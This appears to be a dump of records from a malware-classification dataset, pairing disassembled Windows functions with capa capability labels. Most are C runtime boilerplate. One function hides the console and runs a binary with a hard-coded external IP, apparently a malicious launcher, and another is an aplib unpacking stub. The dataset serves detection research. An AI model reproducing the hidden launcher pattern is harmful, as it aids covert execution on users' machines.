joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005da0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x14001d8b8]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.140007c50
test rax, rax
je 0x140005df4
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x140005e89
mov ecx, 2
call fcn.14000c800
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.1400087e0
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x140005e75
test ebx, ebx
jne 0x140005e75
lea ecx, [rax + 2]
call fcn.14000c800
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140006777
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001c220]
jne 0x140004f2a
rol rcx, 0x10
test cx, 0xffff
jne 0x140004f26
repz ret
ror rcx, 0x10
jmp 0x1400066d0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001d970]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001da68]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140006755
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001d970]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140006777
mov rax, qword [rsp + 0x88]
mov qword [0x14001da68], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001da08], rax
mov rax, qword [0x14001da68]
mov qword [0x14001d8e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001d9f0], rax
mov dword [0x14001d8d0], 0xc0000409
mov dword [0x14001d8d4], 1
mov rax, qword [0x14001c220]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001c228]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001d968], eax
mov ecx, 1
call fcn.14000c800
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400154d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001d968], 0
jne 0x1400067fe
mov ecx, 1
call fcn.14000c800
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000a200
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
sub rsp, 0x30
lea r12, [0x14001c920]
xor esi, esi
mov edi, ecx
mov rax, r12
mov ebx, esi
nop
cmp ecx, dword [rax]
je 0x14000a23e
add ebx, 1
add rax, 0x10
cmp ebx, 0x17
jb 0x14000a220
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
cmp ebx, 0x17
jae 0x14000a425
mov ecx, 3
call fcn.1400108f0
cmp eax, 1
je 0x14000a3dc
mov ecx, 3
call fcn.1400108f0
test eax, eax
jne 0x14000a275
cmp dword [0x14001c098], 1
je 0x14000a3dc
cmp edi, 0xfc
je 0x14000a425
mov qword [rsp + 0x50], rbp
lea rbp, [0x14001df00]
lea r8, str.Runtime_Error__n_nProgram:
mov rcx, rbp
mov edx, 0x314
call fcn.14000d190
test eax, eax
je 0x14000a2b9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140005d00
lea rdx, [0x14001df19]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x14001e01d], sil
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000a309
lea r8, str._program_name_unknown_
lea rcx, [0x14001df19]
mov edx, 0x2fb
call fcn.14000d190
test eax, eax
je 0x14000a309
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140005d00
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x14001df19]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x14000a358
lea rcx, [rcx + rbp - 0x23]
lea rdx, [0x14001e214]
lea r9d, [rax + 3]
lea r8, [0x140015b74]
sub rdx, rcx
call fcn.14000e540
test eax, eax
je 0x14000a358
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140005d00
lea r8, [0x140015b70]
mov edx, 0x314
mov rcx, rbp
call fcn.14000e480
test eax, eax
je 0x14000a384
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140005d00
movsxd r8, ebx
mov edx, 0x314
mov rcx, rbp
add r8, r8
mov r8, qword [r12 + r8*8 + 8]
call fcn.14000e480
test eax, eax
je 0x14000a3b4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140005d00
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.140010690
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x14000a425
cmp rax, 0xffffffffffffffff
je 0x14000a425
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x20], rsi
mov rdx, qword [r12 + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x14000a440
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov ecx, 3
call fcn.1400108f0
cmp eax, 1
je 0x14000a472
mov ecx, 3
call fcn.1400108f0
test eax, eax
jne 0x14000a526
cmp dword [0x14001c098], 1
jne 0x14000a526
mov qword [rsp + 0x48], rbx
lea rbx, [0x14001c920]
mov qword [rsp + 0x30], rdi
mov rax, rbx
xor edi, edi
cmp dword [rax], 0xfc
je 0x14000a49e
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x14000a488
jmp 0x14000a512
cmp edi, 0x17
jae 0x14000a512
mov ecx, 3
call fcn.1400108f0
cmp eax, 1
je 0x14000a4c9
mov ecx, 3
call fcn.1400108f0
test eax, eax
jne 0x14000a512
cmp dword [0x14001c098], 1
jne 0x14000a512
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x14000a512
cmp rax, 0xffffffffffffffff
je 0x14000a512
movsxd rcx, edi
xor eax, eax
lea r9, [rsp + 0x40]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xff
call fcn.14000a200
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x38
ret
Function at 0x14000c000
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov eax, dword [0x14001e44c]
xor r12d, r12d
test eax, eax
mov ebp, r12d
jne 0x14000c05c
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x14000c03c
mov dword [0x14001e44c], 1
jmp 0x14000c06f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x14000c056
mov dword [0x14001e44c], 2
jmp 0x14000c0d9
mov eax, dword [0x14001e44c]
cmp eax, 1
jne 0x14000c0d0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x14000c0aa
cmp word [rdi], bp
mov rax, rdi
je 0x14000c089
add rax, 2
cmp word [rax], bp
jne 0x14000c077
add rax, 2
cmp word [rax], bp
jne 0x14000c077
sub eax, edi
add eax, 2
movsxd rsi, eax
mov rcx, rsi
call fcn.140009b20
test rax, rax
mov rbx, rax
jne 0x14000c0b1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x14000c1cb
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.140008490
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbx
jmp 0x14000c1cb
cmp eax, 2
je 0x14000c0d9
test eax, eax
jne 0x14000c0aa
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rsi, rax
je 0x14000c0aa
cmp byte [rax], bpl
mov rbx, rax
je 0x14000c128
nop
or r9d, 0xffffffff
mov r8, rbx
xor ecx, ecx
lea edx, [r9 + 2]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14000c0aa
or rcx, 0xffffffffffffffff
add ebp, eax
mov rdi, rbx
xor eax, eax
repne scasb al, byte [rdi]
not rcx
add rbx, rcx
cmp byte [rbx], al
jne 0x14000c0f0
add ebp, 1
mov edx, 2
movsxd rcx, ebp
call fcn.140009b90
test rax, rax
mov r12, rax
jne 0x14000c14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
jmp 0x14000c1cb
cmp byte [rsi], 0
mov qword [rsp + 0x50], r13
mov rbx, rax
mov r13, rsi
je 0x14000c1b5
nop
or r9d, 0xffffffff
mov eax, ebp
mov rcx, rbx
sub rcx, r12
lea edx, [r9 + 2]
mov r8, r13
sar rcx, 1
sub eax, ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14000c1de
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
add r13, rcx
or rcx, 0xffffffffffffffff
repne scasw ax, word [rdi]
cmp byte [r13], al
not rcx
lea rbx, [rbx + rcx*2]
jne 0x14000c160
mov rcx, rsi
mov word [rbx], 0
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rax, r12
mov r13, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov rcx, r12
call fcn.140006290
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
jmp 0x14000c1c6
Function at 0x140010690
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.140007b60
xor ebx, ebx
cmp qword [0x14001e6e8], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x1400107bc
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x1400108cf
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400108cf
mov rcx, rax
call fcn.140007a90
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14001e6e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140007a90
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14001e6f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140007a90
lea rcx, [rsp + 0x98]
mov qword [0x14001e6f8], rax
call fcn.140009dd0
test eax, eax
je 0x14001076f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140005d00
cmp dword [rsp + 0x98], 2
jne 0x1400107bc
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140007a90
test rax, rax
mov qword [0x14001e708], rax
je 0x1400107bc
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140007a90
mov qword [0x14001e700], rax
mov rcx, qword [0x14001e700]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x140010868
cmp qword [0x14001e708], rbp
je 0x140010868
call fcn.140007c50
mov rcx, qword [0x14001e708]
mov rsi, rax
call fcn.140007c50
test rsi, rsi
mov r12, rax
je 0x140010868
test rax, rax
je 0x140010868
call rsi
test rax, rax
je 0x140010833
lea rcx, [rsp + 0x34]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140010833
test byte [rsp + 0x40], 1
jne 0x140010868
lea rcx, [rsp + 0x30]
call fcn.140009e20
test eax, eax
je 0x140010855
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140005d00
cmp dword [rsp + 0x30], 4
jb 0x140010862
bts edi, 0x15
jmp 0x1400108a6
bts edi, 0x12
jmp 0x1400108a6
mov rcx, qword [0x14001e6f0]
cmp rcx, rbp
je 0x1400108a6
call fcn.140007c50
test rax, rax
je 0x1400108a6
call rax
test rax, rax
mov rbx, rax
je 0x1400108a6
mov rcx, qword [0x14001e6f8]
cmp rcx, rbp
je 0x1400108a6
call fcn.140007c50
test rax, rax
je 0x1400108a6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14001e6e8]
call fcn.140007c50
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x1400108cf
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1400108d1
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400129f0
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14001c220]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140012a37
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140004f10
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.140012cf0
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140004f10
add rsp, 0x38
ret
Function at 0x141379058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1413791df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141379089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14137906f
add dl, dl
jne 0x141379096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413790f6
xor eax, eax
add dl, dl
jne 0x1413790a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413791ad
add dl, dl
jne 0x1413790b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413790c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413790d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413790dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1413790ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14137907e
mov eax, 1
add dl, dl
jne 0x141379106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141379113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413790fb
sub eax, ebx
mov ebx, 1
jne 0x14137914c
mov ecx, 1
add dl, dl
jne 0x14137912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14137913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141379123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14137907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141379168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141379175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14137915d
cmp eax, 0x7d00
jae 0x14137919b
cmp eax, 0x500
jb 0x141379196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14137907e
cmp eax, 0x7f
ja 0x14137919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14137907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1413791d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14137907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140c62000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x140c6200a
jmp 0x140c6400f
jmp fcn.14091c0b0
Function at 0x1800113e8
Capabilities:
Create thread

Disassembly:
jmp 0x18001a990
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x30]
lea rcx, [0x180031005]
call fcn.1800117e4
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0xc0], eax
cmp dword [rbp + 0xc0], 1
je 0x18001a9cf
jmp 0x18001aa01
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xf0]
lea r8, [0x18001157d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret

Function at 0x18001147e
Capabilities:
Terminate process

Disassembly:
jmp 0x18001e2b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.start_bin64Aion.bin__ip:154.53.61.212
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret
Function at 0x140029070
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x210
mov rax, qword [0x140396c80]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov rdi, rcx
mov qword [rsp + 0x50], rcx
xor r15d, r15d
cmp qword [rcx + 0x48], r15
jne 0x14002920e
call fcn.14002b570
test eax, eax
jne 0x1400290c0
mov ecx, 0xffff
call fcn.14002bb10
mov qword [rsp + 0x40], r15
mov ebx, dword [rdi + 0x128]
lea rcx, [rdi + 0x130]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400290dc
mov rcx, qword [rcx]
call fcn.140029f90
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x3c], ebx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400be430
mov rbx, rax
mov qword [rsp + 0x90], rax
test rax, rax
je 0x140029150
movzx r14d, byte [rdi + 0x150]
mov rcx, rax
call fcn.14002afa0
nop
lea rax, vtable.osc::UdpListeningReceiveSocket.0
mov qword [rbx], rax
lea rcx, [rbx + 0x10]
call fcn.14002af30
nop
mov qword [rbx + 0x18], rdi
movzx r8d, r14b
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14002b370
mov r8, qword [rbx + 0x18]
mov rdx, rbx
lea rcx, [rbx + 0x10]
call fcn.14002b330
nop
jmp 0x140029153
mov rbx, r15
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x30], rbx
lea rcx, [rdi + 8]
lea rdx, [rsp + 0x30]
call fcn.140028140
nop
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x14002918d
lea rcx, [rbx + 0x10]
call fcn.14002b460
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
mov ecx, 8
call fcn.1400be430
test rax, rax
je 0x1400291a1
mov qword [rax], rdi
jmp 0x1400291a4
mov rax, r15
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140028310]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x90], rax
test rax, rax
je 0x14002924f
cmp dword [rdi + 0x58], 0
jne 0x140029212
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [rdi + 0x50], xmm1
cmp dword [rdi + 0x58], 0
je 0x140029244
movaps xmmword [rsp + 0x50], xmm1
lea rcx, [rsp + 0x50]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140029244
xorps xmm0, xmm0
movups xmmword [rdi + 0x50], xmm0
mov al, 1
jmp 0x14002921b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.1400be7c0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x98], r15d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x140029f90
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x14002a0c0
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140396c80]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rdi, rcx
mov eax, 1
lock xadd dword [0x1403ac2c0], eax
inc eax
cmp eax, 1
jne 0x14002a111
mov ecx, 0x101
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14002a111
mov byte [0x1403ac2c4], 1
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14002a143
mov rdx, qword [rax + 0x18]
lea rcx, [rsp + 0x20]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebx, eax
mov ecx, 0xffffffff
lock xadd dword [0x1403ac2c0], ecx
cmp ecx, 1
jne 0x14002a16b
cmp byte [0x1403ac2c4], 0
je 0x14002a16b
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [0x1403ac2c4], 0
mov eax, ebx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400be7c0
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1e0
pop rdi
ret

Function at 0x14002a010
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov rax, qword [0x140396c80]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rbx, rcx
mov eax, 1
lock xadd dword [0x1403ac2c0], eax
inc eax
cmp eax, 1
jne 0x14002a062
mov ecx, 0x101
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
mov rax, rbx
jne 0x14002a065
mov byte [0x1403ac2c4], 1
jmp 0x14002a065
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400be7c0
add rsp, 0x1d0
pop rbx
ret

Function at 0x14002a0c0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x14002a0c0
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140396c80]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rdi, rcx
mov eax, 1
lock xadd dword [0x1403ac2c0], eax
inc eax
cmp eax, 1
jne 0x14002a111
mov ecx, 0x101
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14002a111
mov byte [0x1403ac2c4], 1
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14002a143
mov rdx, qword [rax + 0x18]
lea rcx, [rsp + 0x20]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebx, eax
mov ecx, 0xffffffff
lock xadd dword [0x1403ac2c0], ecx
cmp ecx, 1
jne 0x14002a16b
cmp byte [0x1403ac2c4], 0
je 0x14002a16b
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [0x1403ac2c4], 0
mov eax, ebx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400be7c0
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1e0
pop rdi
ret